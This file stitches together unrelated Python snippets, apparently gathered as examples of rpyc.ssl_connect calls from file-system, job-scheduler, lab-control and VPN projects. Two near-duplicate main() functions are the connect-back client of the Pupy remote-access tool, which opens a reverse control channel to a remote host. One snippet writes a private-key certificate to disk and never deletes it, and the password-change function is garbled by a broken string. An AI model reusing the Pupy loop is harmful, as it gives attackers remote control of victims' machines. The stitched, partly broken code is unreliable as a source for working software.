def connect(self): fn_server_public = os.path.expanduser(constants.FN_SERVER_CERT_PUBLIC) xt_server_cert = self.config.get_vault_key("xt_server_cert") use_public_half = False # cannot get the public half approach to work try: # write CERT file JIT if use_public_half: _, public_half = xt_server_cert.split("END PRIVATE KEY-----\n") file_utils.write_text_file(fn_server_public, public_half) else: file_utils.write_text_file(fn_server_public, xt_server_cert) self.conn = rpyc.ssl_connect(self.ip, port=self.port, keyfile=None, certfile=fn_server_public) if self.conn: # magic step: allows our callback to work correctly! # this must always be executed (even if self.conn is already true) self.bgsrv = rpyc.BgServingThread(self.conn) console.diag(" now running BgServingThread") finally: # delete the CERT file #os.remove(fn_server_public) pass connected = not (not self.conn) return connected
def connect(self, box_name, ip_addr, port): self.ensure_token_is_set() self.conn = None self.conn_box = None fn_server_public = os.path.expanduser(constants.FN_SERVER_CERT_PUBLIC) xt_server_cert = self.config.get_vault_key("xt_server_cert") use_public_half = False # cannot get the public half approach to work try: # write CERT file JIT if use_public_half: _, public_half = xt_server_cert.split("END PRIVATE KEY-----\n") file_utils.write_text_file(fn_server_public, public_half) else: file_utils.write_text_file(fn_server_public, xt_server_cert) self.conn = rpyc.ssl_connect(ip_addr, port=port, keyfile=None, certfile=fn_server_public) self.conn_box = box_name finally: # delete the CERT file #os.remove(fn_server_public) pass
def main(): HOST="127.0.0.1:443" if "windows" in platform.system().lower(): try: import pupy HOST=pupy.get_connect_back_host() except ImportError: print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" if len(sys.argv)!=2: exit("usage: %s host:port"%sys.argv[0]) HOST=sys.argv[1] else: add_pseudo_pupy_module(HOST) attempt=0 while True: try: rhost,rport=None,None tab=HOST.rsplit(":",1) rhost=tab[0] if len(tab)==2: rport=int(tab[1]) else: rport=443 print "connecting to %s:%s"%(rhost,rport) conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService) while True: attempt=0 conn.serve() except KeyboardInterrupt: print "keyboard interrupt received !" break except Exception as e: time.sleep(get_next_wait(attempt)) attempt+=1
def stop_job(request): """stopping a job (handing request to backend)""" request.session.set_expiry(settings.SESSION_AUTO_LOGOUT_TIME) if request.method == 'POST': # create a form instance and populate it with data from the request: form = StopJobForm(request.POST) # check whether it's valid: if form.is_valid(): jobID = form.cleaned_data['jobID'] jobName = form.cleaned_data['jobName'] jobUser = form.cleaned_data['jobUser'] # backend call conn = rpyc.ssl_connect( settings.CARME_BACKEND_SERVER, settings.CARME_BACKEND_PORT, keyfile=settings.BASE_DIR + "/SSL/frontend.key", certfile=settings.BASE_DIR + "/SSL/frontend.crt") if conn.root.cancel(str(jobID), str(jobUser)) != 0: print("Error stopping job {} from user {}".format( jobID, jobUser)) raise Exception("ERROR stopping job [backend]") return HttpResponseRedirect('/carme/JobTable/') else: return HttpResponse('<h3>Error - Invalid Form: {}</h3>'.format( form.cleaned_data['jobUser'])) return HttpResponse('') # HttpResponseRedirect('/')
def init_scheduler(app, worker_id=None): connected = False if app.config["CLIENT_SSL_KEYFILE"] and app.config["CLIENT_SSL_CERTFILE"]: key_path = os.path.join(app.instance_path, app.config["CLIENT_SSL_KEYFILE"]) cert_path = os.path.join(app.instance_path, app.config["CLIENT_SSL_CERTFILE"]) if os.path.exists(key_path) and os.path.exists(cert_path): core = rpyc.ssl_connect( "localhost", app.config["CORE_SERVICE_PORT"], config={"allow_public_attrs" : True}, keyfile=key_path, certfile=cert_path ) connected = True if not connected: core = rpyc.connect( "localhost", app.config["CORE_SERVICE_PORT"], config={"allow_public_attrs" : True} ) app.logger.info( "{}Scheduler Connected with{} SSL".format( "worker #{}: ".format(worker_id) if worker_id else "", "" if connected else "out" ) ) app.scheduler = core.root
def main(): HOST="127.0.0.1:443" if "win" in platform.system().lower(): try: import pupy HOST=pupy.get_connect_back_host() except ImportError: print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" if len(sys.argv)!=2: exit("usage: %s host:port"%sys.argv[0]) HOST=sys.argv[1] attempt=0 while True: try: rhost,rport=None,None tab=HOST.rsplit(":",1) rhost=tab[0] if len(tab)==2: rport=int(tab[1]) else: rport=443 print "connecting to %s:%s"%(rhost,rport) conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService) while True: attempt=0 conn.serve() except KeyboardInterrupt: print "keyboard interrupt received !" break except Exception as e: time.sleep(get_next_wait(attempt)) attempt+=1
def do_get(self, line): """ syntax: get SRC_DFS_PATH DST_LOCAL_PATH Download file SRC_DFS_PATH from nodes to the local DST_LOCAL_PATH """ # [advanced] TODO: if SRC_DFS_PATH is dir: ask about loading dir recursevly parts = line.split() if len(parts) != 2: raise VgException( "Wrong amount of arguments. Expect: 2, actual: {0}".format( len(parts))) src_dfs_path = self._to_dfs_abs_path(parts[0]) f = self._ns.stat(src_dfs_path) if f is None: raise VgException("{} does not exist".format(src_dfs_path)) if f['type'] != dfs.FILE: raise VgException("{} is not a regular file".format(src_dfs_path)) file = parts[1] dst_local_path = abspath(file) if exists(dst_local_path): answer = input("'%s' exists. Overwrite[y/N]? " % (dst_local_path, )) if answer.lower() != 'y': return storages = self._ns.locations(src_dfs_path) if len(storages) == 0: raise VgException( "There are no availible storages. Contact with administrators") for s in storages: try: logging.debug('Getting %s from %s (%s)', src_dfs_path, s['name'], s['addr']) conn = rpyc.ssl_connect(s['addr'][0], port=s['addr'][1], keyfile=self._args.keyfile, certfile=self._args.certfile, ca_certs=self._args.ca_cert, config={ 'sync_request_timeout': -1, }) with conn.root.open(src_dfs_path, "br") as fsrc: with open(dst_local_path, "bw") as fout: shutil.copyfileobj(fsrc, fout) conn.close() return except Exception as e: logging.warn("FAIL:get:%s from %s (%s): %s", src_dfs_path, s['name'], s['addr'], e) else: raise VgException( "Could not download {} from storages".format(src_dfs_path))
def do_put(self, line): """ syntax: put SRC_LOCAL_PATH DST_DFS_PATH Upload local SRC_LOCAL_PATH file to DST_DFS_PATH """ # [advanced] TODO: if SRC_LOCAL_PATH is dir: ask about loading dir recursevly parts = line.split() if len(parts) != 2: raise VgException( "Wrong amount of arguments. Expect: 2, actual: {0}".format( len(parts))) file = parts[0] src_local_path = abspath(file) if not exists(src_local_path): raise VgException("File {0} does not exist".format(file)) if not isfile(src_local_path): raise VgException("{0} is not regular file".format(file)) dst_dfs_path = self._to_dfs_abs_path(parts[1]) stat = self._ns.stat(dst_dfs_path) if stat is not None and stat['type'] == dfs.DIRECTORY: raise VgException("{} is a directory".format(dst_dfs_path)) availableStorages = self._ns.availableStorages(dst_dfs_path, getsize(src_local_path)) for st in availableStorages: try: logging.info("Putting %s on %s (%s)", src_local_path, st['name'], st['path']) addr = st['addr'] conn = rpyc.ssl_connect(addr[0], port=addr[1], keyfile=self._args.keyfile, certfile=self._args.certfile, ca_certs=self._args.ca_cert, config={ 'sync_request_timeout': -1, 'allow_public_attrs': True, }) with open(src_local_path, "rb") as fsrc: conn.root.write_fileobj(dst_dfs_path, fsrc) conn.close() return except Exception: logging.warn("FAIL:put %s on %s (%s)", src_local_path, st['name'], st['path']) else: raise VgException( "Can not put file {} on storages".format(src_local_path))
def tryReplicateFile(src, dst, filepath, args): addr = dst['addr'] conn = rpyc.ssl_connect(addr[0], port=addr[1], keyfile=args.keyfile, certfile=args.certfile, ca_certs=args.ca_cert, config={ 'sync_request_timeout': -1, }) conn.root.pull(src['name'], src['addr'][0], src['addr'][1], filepath) conn.close()
def rmdir_from(storage, dfs_dir, args): addr = storage['addr'] conn = rpyc.ssl_connect(addr[0], port=addr[1], keyfile=args.keyfile, certfile=args.certfile, ca_certs=args.ca_cert, config={ 'sync_request_timeout': -1, }) conn.root.rmdir(dfs_dir) conn.close()
def __init__(self, host, port, name, certfile=None, keyfile=None): if certfile is not None and keyfile is not None: self.connection = rpyc.ssl_connect( host, port=port, config={'allow_all_attrs': True}, certfile=certfile, keyfile=keyfile) else: self.connection = rpyc.connect(host, port, config={'allow_all_attrs': True}) self.module = self.connection.root.getModule(name) self.name = name
def __init__(self): self.signingkey = gen_signing_key() self.consultant = rpyc.ssl_connect( config.CONSULTANT_IP, config.CONSULTANT_PORT, keyfile="cert/client/key.pem", certfile="cert/client/certificate.pem", config=config.config) self.server = rpyc.ssl_connect(config.SERVER_IP, config.SERVER_PORT, keyfile="cert/client/key.pem", certfile="cert/client/certificate.pem", config=config.config) self.PKs = deserialize_PKs( self.consultant.root.get_public_parameters()) print("Enter name: ") name = input() self.id = "{} ({})".format(name, str(uuid.uuid4())) self.port = random.randint(1024, 65535) self.CTi = None # self.start_server() self.join_consultant()
def _new_pytis_connection(self, ip, port): pytis.util.log(pytis.util.EVENT, 'New remote connection requested:', ( ip, port, )) connection = rpyc.ssl_connect(ip, port, keyfile=config.rpc_key_file, certfile=config.rpc_certificate_file) pytis.util.log(pytis.util.EVENT, 'New remote connection created:', ( ip, port, )) return connection
def change_password(request): """change password site (request handled by backend""" request.session.set_expiry(settings.SESSION_AUTO_LOGOUT_TIME) if request.method == 'POST': form = ChangePasswd(request.POST) if form.is_valid(): # init user_dn = request.user.ldap_user.dn pw1 = str(form.cleaned_data['new_password1']) pw2 = str(form.cleaned_data['new_password2']) # whether the password passed all checks valid_password = check_password(pw1, pw2) if valid_password: # backend call conn = rpyc.ssl_connect( settings.CARME_BACKEND_SERVER, settings.CARME_BACKEND_PORT, keyfile=settings.BASE_DIR + "/SSL/frontend.key", certfile=settings.BASE_DIR + "/SSL/frontend.crt") if conn.root.change_password(str(user_dn), ldap_username(request), pw1): mess = "Password update for user: "******"LDAP error for: " + str(user_dn) dj_messages.error(request, mess) return redirect('change_password') else: dj_messages.error( request, 'Passwords must match and must meet the requirements above!' ) return redirect('change_password') else: dj_messages.error(request, 'Please correct the error below.') else: form = ChangePasswd() # render template context = {'form': form, 'password_criteria': password_criteria} return render(request, 'change_password.html', context)
def exposed_pull(self, src_name, src_hostname, src_port, filepath): with GlobalLock: logging.info('Pulling %s from "%s"', filepath, src_name) conn = rpyc.ssl_connect(src_hostname, port=src_port, keyfile=self._args.keyfile, certfile=self._args.certfile, ca_certs=self._args.ca_cert, config={ 'sync_request_timeout': -1, }) targetFile = normpath(join(self._rootpath, '.' + filepath)) with conn.root.open(filepath, "br") as fsrc: with open(targetFile, "bw") as fdst: shutil.copyfileobj(fsrc, fdst) conn.close()
def main(args): logging.basicConfig(level=logging.DEBUG) try: nsConn = rpyc.ssl_connect(args.ns_hostname, port=args.ns_port, keyfile=args.keyfile, certfile=args.certfile, ca_certs=args.ca_cert, config={ 'sync_request_timeout': -1, }) except Exception: logging.fatal("Could not connect too the nameserver") exit(-1) # we start recovering in separate thread to force starting of ThreadServer # Because if it is server with actual files it should expect # that over storages can request some files for replication t = Thread(target=lambda: becomeStorage(args, nsConn.root)) t.daemon = True t.start() sslAuth = SSLAuthenticator( keyfile=args.keyfile, certfile=args.certfile, ca_certs=args.ca_cert, ) service = StorageService(args, nsConn.root) server = ThreadedServer(service=service, hostname=args.hostname, port=args.port, authenticator=sslAuth, protocol_config={ 'allow_public_attrs': True, }) setWatchDog(nsConn, server) server.start()
def __init__(self): config = ConfigParser.SafeConfigParser() config.read('autovpn-client.conf') cn = config.get('SSL', 'common_name') country = config.get('SSL', 'country') state = config.get('SSL', 'state') city = config.get('SSL', 'city') self.size = int(config.get('SSL', 'key_size')) org = config.get('SSL', 'organization') email = config.get('SSL', 'email') self.req_dict = {'CN': cn, 'ST': state, 'L': city, 'O': org, 'emailAddress': email, 'C': country} rpc_host = config.get('Host', 'name') rpc_port = int(config.get('Host', 'port')) self.conn = rpyc.ssl_connect(rpc_host, rpc_port, keyfile='autovpn-client-default.key', certfile='autovpn-client-default.crt')
#----------------------------------------------------------------------------------------------------------------------------------- # notifies to the head node that the job has started execution # # usage: python notify_job_prolog.py SLURM_JOB_ID SLURM_JOB_USER CARME_BACKEND_SERVER CARME_BACKEND_PORT # Copyright (C) 2019 by Philipp Reusch (ITWM) #----------------------------------------------------------------------------------------------------------------------------------- import sys import rpyc ec = 137 SLURM_JOB_ID = sys.argv[1] SLURM_JOB_USER = sys.argv[2] CARME_BACKEND_SERVER = sys.argv[3] CARME_BACKEND_PORT = sys.argv[4] keyfile = "/opt/Carme/Carme-Scripts/backend/slurmctld.key" certfile = "/opt/Carme/Carme-Scripts/backend/slurmctld.crt" conn = rpyc.ssl_connect(CARME_BACKEND_SERVER, CARME_BACKEND_PORT, keyfile=keyfile, certfile=certfile) res = conn.root.prolog(SLURM_JOB_ID, SLURM_JOB_USER) if isinstance(res, int): ec = res sys.exit(ec)
def start_job(request): """starts a new job (handing request to backend)""" request.session.set_expiry(settings.SESSION_AUTO_LOGOUT_TIME) group = list(request.user.ldap_user.group_names)[0] partition = GroupResource.objects.filter(name__exact=group)[0].partition nodeC, gpuC, imageC, gpuT = generateChoices(request) # if this is a POST request we need to process the form data if request.method == 'POST': # create a form instance and populate it with data from the request: form = StartJobForm(request.POST, image_choices=imageC, node_choices=nodeC, gpu_choices=gpuC, gpu_type_choices=gpuT) # check whether it's valid: if form.is_valid(): # get image path and mounts from choices image_db = Image.objects.filter( group__exact=group, name__exact=form.cleaned_data['image'])[0] flags = image_db.flags image = image_db.path name = image_db.name # add job to db num_nodes = int(form.cleaned_data['nodes']) num_gpus = int(form.cleaned_data['gpus']) job_name = str(form.cleaned_data['name'])[:32] # gen unique job name chars = string.ascii_uppercase + string.digits gpus_type = str(form.cleaned_data['gpu_type']) # backend call conn = rpyc.ssl_connect( settings.CARME_BACKEND_SERVER, settings.CARME_BACKEND_PORT, keyfile=settings.BASE_DIR + "/SSL/frontend.key", certfile=settings.BASE_DIR + "/SSL/frontend.crt") job_id = conn.root.schedule(ldap_username(request), ldap_home(request), str(image), str(flags), str(partition), str(num_gpus), str(num_nodes), str(job_name), str(gpus_type)) if int(job_id) > 0: SlurmJob.objects.create(name=job_name, image_name=name, num_gpus=num_gpus, num_nodes=num_nodes, user=request.user.username, slurm_id=int(job_id), frontend=settings.CARME_FRONTEND_ID, gpu_type=gpus_type) print("Queued job {} for user {} on {} nodes".format( job_id, ldap_username(request), num_nodes)) else: print("ERROR queueing job {} for user {} on {} nodes".format( job_name, ldap_username(request), num_nodes)) raise Exception("ERROR starting job") return HttpResponseRedirect('/') # if a GET (or any other method) we'll create a blank form else: form = StartJobForm(image_choices=imageC, node_choices=nodeC, gpu_choices=gpuC, gpu_type_choices=gpuT) # render template context = {'form': form} return render(request, 'jobs.html', context)
def connect_server(self): self.server = rpyc.ssl_connect(config.SERVER_IP, config.SERVER_PORT, keyfile="cert/client/key.pem", certfile="cert/client/certificate.pem", config=config.config)
def connect(self, host='place_holder', port=-1, key='pylabnet.pem'): # Update server address if new values are given if host != 'place_holder': self._host = host if port != -1: self._port = port # Clean-up old connection if it exists if self._connection is not None or self._service is not None: try: self._connection.close() except: pass self._service = None self._connection = None # Establish connection if if host is None or port is None: # 'No logging' was requested. # Do not establish connection to log server return 0 else: # Connect to log server try: if key is None: self._connection = rpyc.connect( host=self._host, port=self._port, config={'allow_public_attrs': True}) else: if self.operating_system == 'Windows': key = os.path.join(os.environ['WINDIR'], 'System32', key) elif self.operating_system == 'Linux': key = os.path.join('/etc/ssl/certs', key) cert = key self._connection = rpyc.ssl_connect( host=self._host, port=self._port, config={'allow_public_attrs': True}, keyfile=key, certfile=cert) self._service = self._connection.root except Exception as exc_obj: self._service = None self._connection = None self._module_tag = '' raise exc_obj client_data = dict(ip=get_ip(), timestamp=time.strftime("%Y-%m-%d, %H:%M:%S", time.gmtime())) if self._server_port is not None: client_data['port'] = self._server_port if self._ui is not None: client_data['ui'] = self._ui # if self.lab_name is not None: # client_data['lab_name'] = self.lab_name # else: # client_data['lab_name'] = 'NO LAB' client_data_pickle = pickle.dumps(client_data) self._service.add_client_data(self._module_tag, client_data_pickle) return 0
import rpyc # # with explicit closing # for i in range(5000): #if i % 100 == 0: # print i c = rpyc.ssl_connect("localhost", 13388, keyfile = "cert.key", certfile = "cert.crt") print i, c.fileno() #c = rpyc.connect("localhost", 13388) assert c.root.foo() == 18 c.close() print print "finished (1/2)" # # without explicit closing # for i in range(5000): if i % 100 == 0: print i c = rpyc.ssl_connect("localhost", 13388, keyfile = "cert.key", certfile = "cert.crt") #c = rpyc.connect("localhost", 13388) assert c.root.foo() == 18 #c.close() print print "finished (2/2)"
import rpyc # # with explicit closing # for i in range(5000): #if i % 100 == 0: # print i c = rpyc.ssl_connect("localhost", 13388, keyfile="cert.key", certfile="cert.crt") print i, c.fileno() #c = rpyc.connect("localhost", 13388) assert c.root.foo() == 18 c.close() print print "finished (1/2)" # # without explicit closing # for i in range(5000): if i % 100 == 0: print i c = rpyc.ssl_connect("localhost", 13388, keyfile="cert.key", certfile="cert.crt") #c = rpyc.connect("localhost", 13388)
:return: List of all the files as tuples (IR, file) """ result = [] files = next(os.walk(self.file_directory))[2] for file_name in files: data = json.load(open(os.path.join(self.file_directory, file_name))) client_id = data['client_id'] IR = [base64.b64decode(x.encode('ascii')) for x in data['IR']] U = base64.b64decode(data['U'].encode('ascii')) V = base64.b64decode(data['V'].encode('ascii')) Er = base64.b64decode(data['Er'].encode('ascii')) file = (U, V, Er) result.append((IR, file, client_id)) return result if __name__ == '__main__': try: consultant = rpyc.ssl_connect(config.CONSULTANT_IP, config.CONSULTANT_PORT, keyfile="cert/server/key.pem", certfile="cert/server/certificate.pem", config=config.config) PKs = consultant.root.get_public_parameters() consultant_public_key = deserialize_public_key(consultant.root.get_public_key()) PKs = deserialize_PKs(PKs) authenticator = SSLAuthenticator("cert/server/key.pem", "cert/server/certificate.pem") server = ThreadedServer(Server(PKs, consultant_public_key), port=config.SERVER_PORT, protocol_config=config.config, authenticator=authenticator) server.start() finally: shutil.rmtree(FILE_DIRECTORY)
def login(self, retry=True): ''' Log in to the controller. First try to reach the controller via the standard service registry, if that fails try to access it via the supplied hostname/port arguments. If that fails, sleep a little and try again. ''' while True: self.conn = None try: addrs = rpyc.utils.factory.discover(const.ctrlServiceName) for host, port in addrs: try: if Config.SECURITY: self.conn = rpyc.ssl_connect( host, port, keyfile=self.keyFile, certfile=self.certFile, cert_reqs=ssl.CERT_REQUIRED, ca_certs=self.certFile, config={"allow_public_attrs": True}) else: self.conn = rpyc.connect( host, port, config={"allow_public_attrs": True}) except socket.error: pass if self.conn: break except DiscoveryError: pass if self.conn: break if self.ctrlrHost and self.ctrlrPort: try: if Config.SECURITY: self.conn = rpyc.ssl_connect( self.ctrlrHost, self.ctrlrPort, keyfile=self.keyFile, certfile=self.certFile, cert_reqs=ssl.CERT_REQUIRED, ca_certs=self.certFile, config={"allow_public_attrs": True}) else: self.conn = rpyc.connect( self.ctrlrHost, self.ctrlrPort, config={"allow_public_attrs": True}) except socket.error: pass if self.conn: break if retry == False: return False else: time.sleep(5) continue self.bgsrv = rpyc.BgServingThread(self.conn, self.handleBgServingThreadException) resp = None try: resp = self.conn.root.login(self.hostAddress, self.callback, self.riapsApps) except: pass if type(resp) == tuple and resp[ 0] == 'dbase': # Expected response: (redis) database host:port pair if self.depm != None: self.depm.doCommand(('setDisco', ) + resp[1:]) return True else: pass # Ignore any other response return False
format='%(asctime)s %(levelname)s %(module)s | %(message)s') return args if __name__ == "__main__": args = parse_args() quit = False clientCmd = None try: conn = rpyc.ssl_connect(args.ns_hostname, port=args.ns_port, keyfile=args.keyfile, certfile=args.certfile, ca_certs=args.ca_cert, config={ 'sync_request_timeout': -1, }) clientCmd = ClientCmd(conn.root, args.local, args) except: print("Faild to connect to {}".format(args.ns_hostname)) exit(-1) while not quit: try: clientCmd.cmdloop() quit = True except KeyboardInterrupt: print("Use C^D to exiting") except VgException as e:
def connect(self, host='place_holder', port=-1, key='pylabnet.pem'): """ Connects to server :param host: (str) hostname :param port: (int) port number :param key: (str) name of keyfile """ # Update server address if new values are given if host != 'place_holder': self._host = host if port != -1: self._port = port # Clean-up old connection if it exists if self._connection is not None or self._service is not None: try: self._connection.close() except: pass self._connection = None self._service = None # Connect to server try: if key is None: self._connection = rpyc.connect( host=self._host, port=self._port, config={ 'allow_public_attrs': True, 'sync_request_timeout': 300 } ) else: if self.operating_system == 'Windows': key = os.path.join(os.environ['WINDIR'], 'System32', key) elif self.operating_system == 'Linux': key = os.path.join('/etc/ssl/certs', key) else: raise UnsupportedOSException() self._connection = rpyc.ssl_connect( host=self._host, port=self._port, config={'allow_public_attrs': True}, keyfile=key, certfile=key ) self._service = self._connection.root return 0 # Error if we attempt to make an SSL connection to an ordinary server except timeout: self._connection = None self._service = None print( 'Tried to establish a secure SSL connection to a generic (insecure) server.\n' 'Please try establishing an insecure client by setting key=None' ) # No server running with host/port parameters except ConnectionRefusedError: self._connection = None self._service = None print( 'Connection was refused.\n' f'Please check that the server is running with hostname: {host}, port: {port}' ) raise # Error if we did not provide any key except ConnectionResetError: self._connection = None self._service = None print( 'Failed to establish connection secure SSL server.\n' 'Please provide a valid key' ) # Failed authentication attempt except SSLError: self._connection = None self._service = None print( 'Failed to authenticate the connection.\n' 'Please check that you have the correct keyfile' ) except Exception as exc_obj: self._connection = None self._service = None raise exc_obj